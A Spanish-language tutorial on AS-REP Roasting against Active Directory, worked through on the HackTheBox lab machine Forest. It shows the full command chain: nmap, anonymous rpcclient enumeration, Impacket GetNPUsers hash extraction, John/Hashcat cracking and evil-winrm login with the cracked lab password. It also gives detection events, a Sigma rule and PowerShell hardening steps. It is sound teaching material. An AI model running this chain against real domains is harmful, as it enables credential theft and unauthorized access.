Volver al inicio
</>

Ataques Active Directory: AS-REP Roasting

Enumeración, Extracción de Hashes Kerberos y Cracking

¿Qué es AS-REP Roasting?

Definición: AS-REP Roasting es una técnica contra Active Directory que abusa de cuentas de usuario con la opción Do not require Kerberos preauthentication habilitada. Permite solicitar un mensaje AS-REP del KDC sin enviar un preauth válido; este AS-REP contiene material cifrado con la clave derivada de la contraseña del usuario, lo que posibilita obtener un hash crackeable offline.

Requisitos para que sea vulnerable:

  • Cuentas con Preauth deshabilitado (UserAccountControl: DONT_REQ_PREAUTH)
  • Capacidad de llegar al KDC (puerto 88/TCP)
  • Conocer o enumerar UPN/usuarios del dominio

Impacto: Compromiso de credenciales de usuario, movimiento lateral y potencial escalación de privilegios en el dominio.

Caso Práctico: HTB Forest

AS-REP Roasting en Windows Domain Controller - HTB Forest (10.10.10.161)
Escenario del ataque:
  • Objetivo: Extraer hash AS-REP de cuenta con preauth deshabilitado
  • Servicios: Kerberos 88/TCP, LDAP/SMB expuestos
  • Herramientas: nmap, netexec, rpcclient, GetNPUsers (Impacket), John/Hashcat
  • Resultado esperado: Credenciales válidas para acceso remoto

Metodología de Explotación:

1
Reconocimiento
Detección de Kerberos/SMB y banner grabbing
2
Enumeración
Listado de usuarios de dominio vía RPC/LDAP/SMB
3
AS-REP Roast
Solicitud AS-REP y extracción de hash crackeable
4
Cracking
Recuperación de contraseña con diccionario
5
Validación/Acceso
Validación de credenciales y acceso remoto (WinRM)

Fase 1: Reconocimiento

Nmap - Puertos
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts

Confirmamos 88/TCP Kerberos y 445/TCP SMB abiertos.

Escaneo detallado Nmap de HTB Forest (10.10.10.161)
Reconocimiento: Escaneo detallado con nmap mostrando puertos críticos: 88 (Kerberos), 389 (LDAP), 445 (SMB) y otros servicios de Active Directory en HTB Forest.

Fase 2: Enumeración de Dominio y Usuarios

Descubrir dominio y sistema
# Descubrir info SMB netexec smb 10.10.10.161 # Enumerar usuarios vía RPC anónimo rpcclient -U "" 10.10.10.161 -N rpcclient $> enumdomusers # Guardar usuarios cat > users <<'EOF' svc-alfresco # ...añadir resto EOF
Enumeración de usuarios con rpcclient en HTB Forest
Enumeración: Listado de usuarios del dominio usando rpcclient con acceso anónimo, identificando cuentas como svc-alfresco y otros usuarios críticos.

Fase 3: AS-REP Roasting

Impacket - GetNPUsers
python3 GetNPUsers.py htb.local/ -no-pass -usersfile users -format hashcat -outputfile asrep_hashes.txt

Si alguna cuenta tiene DONT_REQ_PREAUTH, se obtendrá un hash tipo $krb5asrep$ listo para crackear.

GetNPUsers.py extrayendo hash AS-REP
AS-REP Roasting: Ejecución de GetNPUsers.py mostrando la extracción exitosa de hash AS-REP para cuentas con preauthentication deshabilitada.

Fase 4: Cracking de Hash

John y Hashcat
# John the Ripper john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john --show asrep_hashes.txt # Hashcat (modo 18200) hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force hashcat -m 18200 --show asrep_hashes.txt
John the Ripper crackeando hash AS-REP
Cracking: John the Ripper crackeando exitosamente el hash AS-REP y revelando la contraseña 's3rvice' para la cuenta svc-alfresco.

Fase 5: Validación de Credenciales y Acceso

Validación y acceso
# Validar con SMB netexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' netexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' --shares # Acceso WinRM evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

Resultado: Credenciales válidas recuperadas y acceso remoto interactivo con WinRM.

Variantes, Detección y Evasión

Variantes y técnicas relacionadas

  • Kerberoasting: Solicitud de TGS para SPNs y cracking offline
  • AS-REP con UPN discovery: Enumeración previa de UPNs por LDAP
  • Password spraying: Contra usuarios obtenidos para baja entropía

Señales de Detección (Blue Team)

  • Eventos en DC: 4768 (TGT request) con Pre-Authentication not required
  • Volumen inusual de AS-REQ/AS-REP desde un mismo host
  • Consultas LDAP anónimas o masivas (enumeración de usuarios)

Reglas y Telemetría

Sigma (ejemplo)
title: Suspicious AS-REP Without Preauth logsource: product: windows service: security definition: 'DC Kerberos events' detection: selection: EventID: 4768 PreAuthType: 0 condition: selection level: high

Mitigaciones Recomendadas

Controles Clave:

  • Habilitar siempre Preauthentication en cuentas de usuario
  • Políticas de contraseñas fuertes y rotación periódica
  • Auditoría continua de cuentas con DONT_REQ_PREAUTH
  • Bloquear LDAP anónimo y limitar enumeración
  • Alertas SIEM por picos de AS-REQ/REP y eventos 4768

Hardening de cuentas vulnerables

PowerShell (AD Module)
# Listar cuentas sin preautenticación Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object {$_.DoesNotRequirePreAuth -eq $true} | Select-Object SamAccountName,UserPrincipalName # Habilitar preautenticación para una cuenta Set-ADAccountControl -Identity svc-alfresco -DoesNotRequirePreAuth $false

Consideraciones Éticas y Legales

Advertencia Legal: Este contenido es educativo. Aplica estas técnicas solo en dominios propios o con autorización explícita por escrito, entornos de pentesting con contrato o laboratorios controlados.